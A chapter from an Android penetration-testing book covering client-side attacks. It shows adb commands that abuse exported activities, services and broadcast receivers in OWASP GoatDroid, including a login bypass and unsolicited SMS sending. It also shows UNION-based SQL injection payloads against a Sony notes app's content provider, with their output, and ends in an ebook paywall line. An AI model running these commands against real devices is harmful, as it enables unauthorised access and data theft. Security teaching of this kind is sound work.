Chapter 7. Client-Side Attacks – Static Analysis Techniques

In the previous chapter, we covered server-side attacks associated with Android applications. This chapter covers various client-side attacks from a static application security testing (SAST) perspective. In the next chapter we will cover the same client-side attacks from a dynamic application security testing (DAST) perspective and will also see some automated tools. To successfully execute most of the attacks covered in this chapter, an attacker needs to convince the victim to install a malicious application on his/her phone. Additionally, it is also possible for an attacker to successfully exploit the apps if he has physical access to the device.

Following are some of the major topics that we will discuss in this chapter:

  • Attacking application components
  • Activities
  • Services
  • Broadcast receivers
  • Content providers
  • Leaking content providers
  • SQL Injection in content providers
  • Automated Static Analysis using QARK

Attacking application components

We have had a brief introduction about Android application components in Chapter 3, Fundamental Building Blocks of Android Apps. This section of this chapter explains various attacks that are possible against Android application components. It is recommended to read Chapter 3, Fundamental Building Blocks of Android Apps to better understand these concepts.

Attacks on activities

Exported activities is one of the common issues with Android application components that we usually come across during penetration tests. An activity that is exported can be invoked by any application sitting on the same device. Imagine a situation where an application has had sensitive activity exported and the user has also installed a malicious app that invokes this activity whenever he connects his charger. This is what is possible when apps have unprotected activities with sensitive functionality.

What does exported behavior mean to an activity?

The following is the description of an exported attribute from the Android documentation:

Whether or not the activity can be launched by components of other applications — "true" if it can be, and "false" if not. If "false", the activity can be launched only by components of the same application or applications with the same user ID.

The default value depends on whether the activity contains intent filters. The absence of any filters means that the activity can be invoked only by specifying its exact class name. This implies that the activity is intended only for application-internal use (since others would not know the class name). So in this case, the default value is "false". On the other hand, the presence of at least one filter implies that the activity is intended for external use, so the default value is "true".

As we can see, if an application has an activity that is exported, other applications can also invoke it. The following section shows how an attacker can make use of this, in order to exploit an application.

Let's use OWASP's GoatDroid application to demonstrate this. GoatDroid is an application with various vulnerabilities and it can be downloaded from the following URL:

https://github.com/downloads/jackMannino/OWASP-GoatDroid-Project/OWASP-GoatDroid-0.9.zipWe can grab the AndroidManifest.xml file from the apk, using Apktool. This is covered in Chapter 8, Client-Side Attacks – Dynamic Analysis Techniques. Following is AndroidManifest.xml taken from the GoatDroid application:

<?xml version="1.0" encoding="utf-8"?>
<manifest android:versionCode="1" android:versionName="1.0" package="org.owasp.goatdroid.fourgoats"
  xmlns:android="http://schemas.android.com/apk/res/android">
    <application android:theme="@style/Theme.Sherlock" android:label="@string/app_name" android:icon="@drawable/icon" android:debuggable="true">
        <activity android:label="@string/app_name" android:name=".activities.Main">
            <intent-filter>
              <action android:name="android.intent.action.MAIN" />
              <category android:name="android.intent.category.LAUNCHER" />
            </intent-filter>
        </activity>
        <activity android:label="@string/login" android:name=".activities.Login" />
        <activity android:label="@string/register" android:name=".activities.Register" />
        <activity android:label="@string/home" android:name=".activities.Home" />
        <activity android:label="@string/checkin" android:name=".fragments.DoCheckin" />
        <activity android:label="@string/checkins" android:name=".activities.Checkins" />
        <activity android:label="@string/friends" android:name=".activities.Friends" />
        <activity android:label="@string/history" android:name=".fragments.HistoryFragment" />
        <activity android:label="@string/history" android:name=".activities.History" />
        <activity android:label="@string/rewards" android:name=".activities.Rewards" />
        <activity android:label="@string/add_venue" android:name=".activities.AddVenue" />
        <activity android:label="@string/view_checkin" android:name=".activities.ViewCheckin" android:exported="true" />
        <activity android:label="@string/my_friends" android:name=".fragments.MyFriends" />
        <activity android:label="@string/search_for_friends" android:name=".fragments.SearchForFriends" />
        <activity android:label="@string/profile" android:name=".activities.ViewProfile" android:exported="true" />
        <activity android:label="@string/pending_friend_requests" android:name=".fragments.PendingFriendRequests" />
        <activity android:label="@string/friend_request" android:name=".activities.ViewFriendRequest" />
        <activity android:label="@string/my_rewards" android:name=".fragments.MyRewards" />
        <activity android:label="@string/available_rewards" android:name=".fragments.AvailableRewards" />
        <activity android:label="@string/preferences" android:name=".activities.Preferences" />
        <activity android:label="@string/about" android:name=".activities.About" />
        <activity android:label="@string/send_sms" android:name=".activities.SendSMS" />
        <activity android:label="@string/comment" android:name=".activities.DoComment" />
        <activity android:label="@string/history" android:name=".activities.UserHistory" />
        <activity android:label="@string/destination_info" android:name=".activities.DestinationInfo" />
        <activity android:label="@string/admin_home" android:name=".activities.AdminHome" />
        <activity android:label="@string/admin_options" android:name=".activities.AdminOptions" />
        <activity android:label="@string/reset_user_passwords" android:name=".fragments.ResetUserPasswords" />
        <activity android:label="@string/delete_users" android:name=".fragments.DeleteUsers" />
        <activity android:label="@string/reset_user_password" android:name=".activities.DoAdminPasswordReset" />
        <activity android:label="@string/delete_users" android:name=".activities.DoAdminDeleteUser" />
        <activity android:label="@string/authenticate" android:name=".activities.SocialAPIAuthentication" android:exported="true" />
        <activity android:label="@string/app_name" android:name=".activities.GenericWebViewActivity" />
        <service android:name=".services.LocationService">
          <intent-filter>
            <action android:name="org.owasp.goatdroid.fourgoats.services.LocationService" />
          </intent-filter>
        </service>
        <receiver android:label="Send SMS" android:name=".broadcastreceivers.SendSMSNowReceiver">
            <intent-filter>
              <action android:name="org.owasp.goatdroid.fourgoats.SOCIAL_SMS" />
            </intent-filter> >
         </receiver>
    </application>
    <uses-permission android:name="android.permission.SEND_SMS" />
    <uses-permission android:name="android.permission.CALL_PHONE" />
    <uses-permission android:name="android.permission.ACCESS_COARSE_LOCATION" />
    <uses-permission android:name="android.permission.ACCESS_FINE_LOCATION" />
    <uses-permission android:name="android.permission.INTERNET" />

From the previous file, we can see that there are some components that are explicitly exported by setting the android:exported attribute to true. The following piece of code shows one such activity:

<activity android:label="@string/profile" android:name=".activities.ViewProfile" android:exported="true" />

This can be invoked by other malicious applications that are running on the device. For demonstration purposes, we can simulate the exact same behavior using adb rather than writing a malicious application.

Well, when we run this application, it launches an activity that requires a username and password to login.

What does exported behavior mean to an activity?

Running the following command will bypass the authentication and we will see the ViewProfile activity:

$ adb shell am start -n org.owasp.goatdroid.fourgoats/.activities.ViewProfile

Lets go through the explanation of the previous command.

  • adb shell – it will get a shell on the device
  • am – activity manager tool
  • start – to start a component
  • -n – specifies which component has to be started

The command mentioned previously is using an inbuilt am tool to launch the specified activity. The following screenshot shows that we have successfully bypassed the authentication:

What does exported behavior mean to an activity?

Note

Note: More details about adb shell commands are available at the following URL:

http://developer.android.com/tools/help/shell.html

Setting up the android:exported attribute's value to false will solve the problem. This is shown here:

<activity android:label="@string/profile" android:name=".activities.ViewProfile" android:exported="false" />

But, if a developer wants to export the activity for some reason, he can define custom permissions. Only those applications which have these permissions can invoke this component.

As mentioned in the description of the exported preceding attribute, there is another possible way known as the intent filter that can be used to export activities.

Intent filters

An intent filter specifies what type of intents can launch an application component. We can add special conditions to launch a component using an intent filter. It opens the component to receiving intents of the advertised type, while filtering out those that are not meaningful for the component. Many developers treat the intent filter as a security mechanism. An intent filter cannot be treated as a security mechanism to protect your components and always remember that the component is exported by default due to the use of an intent filter.

Following is a sample code that shows what an intent filter looks like:

<activity android:label="@string/apic_label" android:name="com.androidpentesting.PrivateActivity">

  <intent-filter>

    <action android:name=" com.androidpentesting.action.LaunchPrivateActivity"/>

    <category android:name="android.intent.category.DEFAULT"/>

  </intent-filter>

</activity>

As you can see in the previous excerpt, an action element is declared inside the <intent-filter> tag. To get through this filter, the action specified in the intent being used to launch an application must match the action declared. If we don't specify any of the filters while launching the intent, it will still work.

This means, both of the following commands can launch the private activity specified in the preceding piece of code:

Intent without any action element.
am start –n com.androidpentesting/.PrivateActivity
Intent with action element.
am start –n com.androidpentesting/.PrivateActivity –a com.androidpentesting.action.LaunchPrivateActivity

Note

All the Android devices running Android version 4.3 and earlier are vulnerable to a nice attack in the default settings application. This allows a user to bypass the lock screen on non-rooted devices. We will discuss this in Chapter 9, Android Malware.

Attacks on services

Services are usually used in Android applications to perform long running tasks in the background. Though this is the most common use of services that we see in most of the blogs showing beginner friendly tutorials, other types of services are there that provide an interface to another application or component of the same application running on the device. So services are essentially in two forms, namely started and bound.

A service is started when we call it by using startService(). Once started, a service can run in the background indefinitely, even if the component that started it is destroyed.

A service is bound when we call it using bindService(). A bound service offers a client-server interface that allows components to interact with the service, send requests, get results, and even do so across processes with interprocess communication (IPC)

A bound service can be created in the following three ways.

Extending the Binder class:

If a developer wants to call a service within the same application, this method is preferred. This doesn't expose the service to other applications running on the device.

The process is to create an interface by extending the Binder class and returning an instance of it from onBind(). The client receives the Binder and can use it to directly access public methods available in the service.

Using a Messenger

If a developer needs his interface to work across different processes, he can create an interface for the service with a Messenger. This way of creating a service defines a Handler that responds to different types of Message objects. This allows the client to send commands to the service using Message objects.

Using AIDL

Android Interface Definition Language (AIDL) is another way of making one application's methods available to other applications.

Similar to activities, an unprotected service can also be invoked by other applications running on the same device. Invoking the first type of service which is started using startService() is pretty straightforward and we can do it using adb.

The same GoatDroid application is used to demonstrate how one can invoke a service in an application if it is exported.

The following entry from GoatDroid's AndroidManifest.xml file shows that a service is exported due to the use of an intent filter.

<service android:name=".services.LocationService">

  <intent-filter>

    <action android:name="org.owasp.goatdroid.fourgoats.services.LocationService" />

  </intent-filter>

</service>

We can invoke it using am tool by specifying the startservice option as shown following.

adb shell am startservice -n org.owasp.goatdroid.fourgoats/.services.LocationService -a org.owasp.goatdroid.fourgoats.services.LocationService

Attacking AIDL services

AIDL implementation is very rarely seen in the real world, but if you are interested to see an example of how you can test and exploit this type of service, you may read the blog at:

http://blog.thecobraden.com/2015/12/attacking-bound-services-on-android.html?m=1

Attacks on broadcast receivers

Broadcast receivers are one of the most commonly used components in Android. Developers can add tremendous features to their applications using broadcast receivers.

Broadcast receivers are also prone to attacks when they are publicly exported. The same GoatDroid application is taken as an example to demonstrate how one can exploit issues in broadcast receivers.

The following excerpt from GoatDroid's AndroidManifest.xml file shows that it has a receiver registered:

<receiver android:label="Send SMS" android:name=".broadcastreceivers.SendSMSNowReceiver">
    <intent-filter>
      <action android:name="org.owasp.goatdroid.fourgoats.SOCIAL_SMS" />
    </intent-filter> >
</receiver>

By digging more into its source code, we can see the following functionality in the application.

public void onReceive(Context arg0, Intent arg1) { 
    context = arg0;
    SmsManager sms = SmsManager.getDefault();
    Bundle bundle = arg1.getExtras(); 
    sms.sendTextMessage(bundle.getString("phoneNumber"),null, bundle.getString("message"), null, null);
    Utils.makeToast(context, Constants.TEXT_MESSAGE_SENT, Toast.LENGTH_LONG); 
}

This is receiving the broadcast and sending an SMS upon receiving the broadcast. This is also receiving an SMS message and the number to which the SMS has to be sent. This functionality requires SEND_SMS permission to be registered in its AndroidManifest.xml file. The following line can be seen in its AndroidManifest.xml file confirming that this app has registered SEND_SMS permission:

<uses-permission android:name="android.permission.SEND_SMS" />

Tip

Detailed steps to download the code bundle are mentioned in the Preface of this book. Please have a look.

The code bundle for the book is also hosted on GitHub at https://github.com/PacktPublishing/hacking-android. We also have other code bundles from our rich catalog of books and videos available at https://github.com/PacktPublishing/. Check them out!

This application has no way to check who is actually sending this broadcast event. An attacker can make use of this and craft a special intent as shown in the following command:

adb shell am broadcast –a org.owasp.goatdroid.fourgoats.SOCIAL_SMS –n org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats/.broadcastreceivers.SendSMSNowReceiver –es phoneNumber 5556 –es message CRACKED

Lets go through the explanation of the previous command.

  • am broadcast – sends a broadcast request
  • -a – specifies the action element
  • -n – specifies the name of the component
  • -es – specifies the extra name value pairs of string type

Let's run this command and see what it looks like. The following figure shows that the application is not running in the foreground and the user is not interacting with the GoatDroid app.

Attacks on broadcast receivers

Running the command on your terminal should show the following toast message in the emulator:

Attacks on broadcast receivers

As you can see, a message has been sent from the device without the user intervention. However, if the application is running on a device running Android version 4.2 or later, it will show a warning message, as shown in the following screenshot:

Attacks on broadcast receivers

Please note that this warning message is because of the SMS being sent to a short code, in our case 5556 but not to prevent broadcast intents. If we are triggering functionality rather than sending an SMS, the user will not be presented with such warnings.

Attacks on content providers

This section discusses attacks on content providers. Similar to other app components discussed so far, content providers also can be abused when exported. Applications targeting SDK version API 17 are by default exported. This means if we don't explicitly specify exported=false in the AndroidManifest.xml file, the content provider is by default exported. This default behavior is changed from API level 17 and the default value is false. Additionally, if an application exports the content provider, we can still abuse it similar to other components we discussed so far.

Let's explore some of the issues that content providers face. We will see these issues using a real application. The target application we are going to see is the inbuilt notes application from the Sony Xperia device. I discovered this vulnerability in Sony's notes application and reported it to Sony. This application is not in use any more.

Following are more details about the application:

  • Software version: 1.C.6
  • Package name: com.sonyericsson.notes

The application has been taken from a Sony device (Android 4.1.1 - Stock for C1504 and C1505).

As we did with GoatDroid's application, we first need our target application's AndroidManifest.xml. With little exploration, we can see the following entry in the AndroidManifest.xml file:

<provider android:name=".NoteProvider" android:authorities="com.sonyericsson.notes.provider.Note" />

As you will notice, there is no android:exported=true entry in this excerpt but this provider is exported due to the fact that the API level is 16 and the default behavior with the content providers is exported. There is no MinSDK entry in the AndroidManifest.xml file generated by APKTOOL, but we can find it using other ways. One way is to use Drozer where you can run a command to dump the app's AndroidManifest.xml file. We will explore this in the next section of this chapter.

As mentioned earlier, this app has been taken from a device running Android 4.1.1. This means the app might be using an SDK version that supports Android devices below 4.1.1. The following screenshot shows the Android versions and their associated API levels:

Attacks on content providers

Apps targeting this Android version 4.1.1 might have a maximum of API level 16. Since content providers with an API level lesser than 17 are by default exported, we can confirm that this content provider is exported.

Note

Note: Using Drozer it is confirmed that this app has the following attributes:

<uses-sdk minSdkVersion= "14" targetSdkVersion= "15">

You can check it in Automated Android app assessments using Drozer section of Chapter 8, Client-Side Attacks – Static Analysis Techniques.

Let's see how we can abuse these exported content providers.

Querying content providers:

When a content provider is exported, we can query it and read content from it. It is also possible to insert/delete content. However, we need to be able to identify the content provider URI before doing anything. When we disassemble an APK file using Apktool, it generates .smali files within in a folder named smali.

In my case, the following is the folder structure generated by APKTOOL after disassembling the application:

/outputdir/smali/com/sonyericsson/notes/*.smali

We can use the grep command to recursively search for the strings that contain the word content://. This is shown as follows:

$ grep -lr "content://" *
Note$NoteAccount.smali
NoteProvider.smali
$

As we can see in the previous excerpt, grep has found the word content:// in two different files. Searching for the word content:// in NoteProvider.smali file reveals the following:

.line 37
const-string v0, "content://com.sonyericsson.notrs.provider.Notes/notes"
invoke-static {v0}, Landroid/net/Uri;->parse(Ljava/lang/String;)Landroid/net/Uri;
move-result-object v0
sput-object v0, Lcom/sonyericsson/notes/NoteProvider;->CONTENT_URI:Landroid/net/Uri;
.line 54
const/16 v0,0xe

As you can see, it has the following content provider URI:

content://com.sonyericsson.notes.provider.Note/notes/

Now, reading content from the previous URI is as simple as executing the following command:

$ adb shell content query --uri content://com.sonyericsson.notes.provider.Note/notes/

Starting from Android 4.1.1, the content command has been introduced. This is basically a script located at /system/bin/content. This can be used via an adb shell to read the content provider directly.

Running the previous command will read the content from the database using the content provider as follows:

$ adb shell content query --uri content://com.sonyericsson.notes.provider.Note/notes/

Row: 0 isdirty=1, body=test note_1, account_id=1, voice_path=, doodle_path=, deleted=0, modified=1062246014, sync_uid=NULL, title=No title, meta_info=
false
0, _id=1, created=1062246014, background=com.sonyericsson.notes:drawable/notes_background_grid_view_1, usn=0
Row: 1 isdirty=1, body=test note_2, account_id=1, voice_path=, doodle_path=, deleted=0, modified=1062253793, sync_uid=NULL, title=No title, meta_info=
false
0, _id=2, created=1062253793, background=com.sonyericsson.notes:drawable/notes_background_grid_view_1, usn=0
$

As you can see in the previous output, there are two rows, each with 14 columns displayed in the output. Just to make the output clear, the extracted column names are as follows:

  • Isdirty
  • body
  • account_id
  • voice_path
  • doodle_path
  • deleted
  • modified
  • sync_uid
  • title
  • meta_info
  • _id
  • created
  • background
  • usn

You can also compare this with the actual data in the application.

Querying content providers:

Exploiting SQL Injection in content providers using adb

Content providers are usually backed by SQLite databases. When input passed to these databases is not properly sanitized, we can see the same SQL Injection that we usually see in web applications. Following is an example with the same notes application.

Querying the content provider

Let's first query the content provider's notes table once again:

$ adb shell content query --uri content://com.sonyericsson.notes.provider.Note/notes/

Row: 0 isdirty=1, body=test note_1, account_id=1, voice_path=, doodle_path=, deleted=0, modified=1062246014, sync_uid=NULL, title=No title, meta_info=
false
0, _id=1, created=1062246014, background=com.sonyericsson.notes:drawable/notes_background_grid_view_1, usn=0
Row: 1 isdirty=1, body=test note_2, account_id=1, voice_path=, doodle_path=, deleted=0, modified=1062253793, sync_uid=NULL, title=No title, meta_info=
false
0, _id=2, created=1062253793, background=com.sonyericsson.notes:drawable/notes_background_grid_view_1, usn=0
$

This is what we have seen earlier. The previous query is to retrieve all the rows from the notes table, which is pointing to the actual notes stored in the app.

Querying the content provider

The previous query is working something like the following SQL query:

select * from notes;

Writing a where condition:

Now, let's write a condition to fetch only one row using the where clause:

$ adb shell content query --uri content://com.sonyericsson.notes.provider.Note/notes/ --where "_id=1"

As you can see in the previous command, we have added a simple where clause to filter the data. The column name _id is found from the previous output where we queried the content provider using adb.

The output of the previous command looks as shown this:.

$ adb shell content query --uri content://com.sonyericsson.notes.provider.Note/notes/ --where "_id=1"

Row: 0 isdirty=1, body=test note_1, account_id=1, voice_path=, doodle_path=, deleted=0, modified=1062246014, sync_uid=NULL, title=No title, meta_info=
false
0, _id=1, created=1062246014, background=com.sonyericsson.notes:drawable/notes_background_grid_view_1, usn=0
$

If you closely observe the output shown previously, there is only one row being displayed. The previous query is working something like the following SQL query:

select * from notes where _id=1;

Testing for Injection:

If you are from a traditional web application penetration testing background, you might be aware of the fact that a single quote (') is the most commonly used character to test for SQL Injection. Let's try that by adding a single quote to the value that is being passed via the where clause.

The command now looks this:

$ adb shell content query --uri content://com.sonyericsson.notes.provider.Note/notes/ --where "_id=1'"

The idea is to check if this single quote causes a syntax error in the SQL query being executed by the database. If yes, that means external input is not properly validated and thus there is possible injection vulnerability in the app.

Running the previous command will result in the following output:

$ adb shell content query --uri content://com.sonyericsson.notes.provider.Note/notes/ --where "_id=1'"

Error while accessing provider:com.sonyericsson.notes.provider.Note
android.database.sqlite.SQLiteException: unrecognized token: "')" (code 1): , while compiling: SELECT isdirty, body, account_id, voice_path, doodle_path, deleted, modified, sync_uid, title, meta_info, _id, created, background, usn FROM notes WHERE (_id=1')
  at android.database.DatabaseUtils.readExceptionFromParcel(DatabaseUtils.java:181)
  at android.database.DatabaseUtils.readExceptionFromParcel(DatabaseUtils.java:137)
  at android.content.ContentProviderProxy.query(ContentProviderNative.java:413)
  at com.android.commands.content.Content$QueryCommand.onExecute(Content.java:474)
  at com.android.commands.content.Content$Command.execute(Content.java:381)
  at com.android.commands.content.Content.main(Content.java:544)
  at com.android.internal.os.RuntimeInit.nativeFinishInit(Native Method)
  at com.android.internal.os.RuntimeInit.main(RuntimeInit.java:243)
  at dalvik.system.NativeStart.main(Native Method)
$

As you can see in the previous excerpt, there is a SQLite exception being thrown. A little observation makes it clear that it is due to the single quote we passed.

unrecognized token: "')" (code 1): , while compiling: SELECT isdirty, body, account_id, voice_path, doodle_path, deleted, modified, sync_uid, title, meta_info, _id, created, background, usn FROM notes WHERE (_id=1')

The previous error also shows the exact number of columns being used in the query, which is 14. This is useful to proceed further by writing UNION statements in the query.

Finding the column numbers for further extraction

Similar to web based SQL Injection, let's now execute a SELECT statement with UNION to see the columns that echo back. Since we are executing this on a terminal directly all the 14 columns will be echoed. But let's test it.

Running the following command will print all the 14 numbers starting from 1:

$ adb shell content query --uri content://com.sonyericsson.notes.provider.Note/notes/ --where "_id=1 ) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- ("

How does this command work?

First, looking at the error we are getting, there is a parenthesis being opened and our single quote is causing an error before closing it. You can see it following:

WHERE (_id=1')

So, we are first closing the parenthesis and then writing our select query and finally commenting out everything after our query. Now the preceding where clause will become the following:

WHERE (_id=1) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14—

After that, columns from 1 to 14 should match the number of columns in the existing SELECT statement. When we write, UNION with SELECT statements, the number of columns in both the statements should be the same. So the previous query will syntactically match with the existing query and there will not be any errors.

Running the previous command will result in the following:

$ adb shell content query --uri content://com.sonyericsson.notes.provider.Note/notes/ --where "_id=1 ) union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14-- ("

Row: 0 isdirty=1, body=2, account_id=3, voice_path=4, doodle_path=5, deleted=6, modified=7, sync_uid=8, title=9, meta_info=10, _id=11, created=12, background=13, usn=14
Row: 1 isdirty=1, body=test note_1, account_id=1, voice_path=, doodle_path=, deleted=0, modified=1062246014, sync_uid=NULL, title=No title, meta_info=
false
0, _id=1, created=1062246014, background=com.sonyericsson.notes:drawable/notes_background_grid_view_1, usn=0
$

The previous output shows the results from both the SQL queries displaying all the 14 numbers in response.

Running database functions

By slightly modifying the previous SQL query, we can extract more information such as the database version, table names, and other interesting information.

Finding out SQLite version:

Running sqlite_version() function displays the SQLite version information as shown in the following screenshot:

Finding out SQLite version:

We can use this function in our query to find out the SQLite version via the vulnerable application. The following command shows how we can do it:

$ adb shell content query --uri content://com.sonyericsson.notes.provider.Note/notes/ --where "_id=1 ) union select 1,2,3,4,sqlite_version(),6,7,8,9,10,11,12,13,14-- ("

We have replaced the number 5 with sqlite_version(). In fact, you can replace any number since all the numbers are getting echoed back.

Running the previous command displays the SQLite version information as shown following:

$ adb shell content query --uri content://com.sonyericsson.notes.provider.Note/notes/ --where "_id=1 ) union select 1,2,3,4,sqlite_version(),6,7,8,9,10,11,12,13,14-- ("

Row: 0 isdirty=1, body=2, account_id=3, voice_path=4, doodle_path=3.7.11, deleted=6, modified=7, sync_uid=8, title=9, meta_info=10, _id=11, created=12, background=13, usn=14
Row: 1 isdirty=1, body=test note_1, account_id=1, voice_path=, doodle_path=, deleted=0, modified=1062246014, sync_uid=NULL, title=No title, meta_info=
false
0, _id=1, created=1062246014, background=com.sonyericsson.notes:drawable/notes_background_grid_view_1, usn=0
$

As you can see in the previous excerpt, 3.7.11 is the SQLite version installed.

Finding out table names

To retrieve the table names, we can modify the previous query by replacing sqlite_version() with tbl_name. Additionally, we need to query the table names from the sqlite_master database. sqlite_master is something similar to information_schema in MySQL databases. It holds the metadata and structure of the database.

The modified query looks likes this:

$ adb shell content query --uri content://com.sonyericsson.notes.provider.Note/notes/ --where "_id=1 ) union select 1,2,3,4,tbl_name,6,7,8,9,10,11,12,13,14 from sqlite_master-- ("

This will give us the table names as shown in the following output:

$ adb shell content query --uri content://com.sonyericsson.notes.provider.Note/notes/ --where "_id=1 ) union select 1,2,3,4,tbl_name,6,7,8,9,10,11,12,13,14 from sqlite_master-- ("

Row: 0 isdirty=1, body=2, account_id=3, voice_path=4, doodle_path=accounts, deleted=6, modified=7, sync_uid=8, title=9, meta_info=10, _id=11, created=12, background=13, usn=14
Row: 1 isdirty=1, body=2, account_id=3, voice_path=4, doodle_path=android_metadata, deleted=6, modified=7, sync_uid=8, title=9, meta_info=10, _id=11, created=12, background=13, usn=14
Row: 2 isdirty=1, body=2, account_id=3, voice_path=4, doodle_path=notes, deleted=6, modified=7, sync_uid=8, title=9, meta_info=10, _id=11, created=12, background=13, usn=14
Row: 3 isdirty=1, body=test note_1, account_id=1, voice_path=, doodle_path=, deleted=0, modified=1062246014, sync_uid=NULL, title=No title, meta_info=
false
0, _id=1, created=1062246014, background=com.sonyericsson.notes:drawable/notes_background_grid_view_1, usn=0
$

As you can see in the previous excerpt, there are three tables retrieved:

  • accounts
  • android_metadata
  • notes

Similarly, we can run any SQLite commands via the vulnerable application to extract the data from the database.

..................Content has been hidden....................

You can't read the all page of ebook, please click here login for view all page.
Reset
3.138.204.186